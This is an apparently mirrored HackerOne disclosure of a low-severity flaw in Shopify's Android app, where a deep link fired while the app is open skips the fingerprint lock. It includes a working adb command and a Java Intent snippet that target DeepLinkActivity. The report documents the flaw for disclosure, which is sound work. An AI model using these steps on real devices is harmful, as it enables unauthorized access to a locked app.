HexBrain

Shopify · Report #637194

Bypass of biometrics security functionality is possible in Android application (com.shopify.mobile)

Validstatus
lowseverity
$500bounty
90upvotes
14 Aug 2019disclosed

How it was found

Summary

Shopify Android App has an option to sign in to the app using fingerprint. But if the application was open and someone triggers a "deeplink", authentication is no longer required.

Step to Reproduce

{F523700} Link: Shopify Help Center - Topics - Products

NOTE¹: The application must be open when triggered com.shopify.mobile.lib.app.DeepLinkActivity. NOTE²: It is also possible via ADB and Java (Android App): adb shell am start -n com.shopify.mobile/com.shopify.mobile.lib.app.DeepLinkActivity -d 'https://www.shopify.com/admin/products'

Intent intent = new Intent();
intent.setClassName("com.shopify.mobile", "com.shopify.mobile.lib.app.DeepLinkActivity");
intent.setData(Uri.parse("https://www.shopify.com/admin/products")); 
startActivity(intent);

My environment information: {F523698} {F523699}

Impact

Unauthorized access to use the application.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original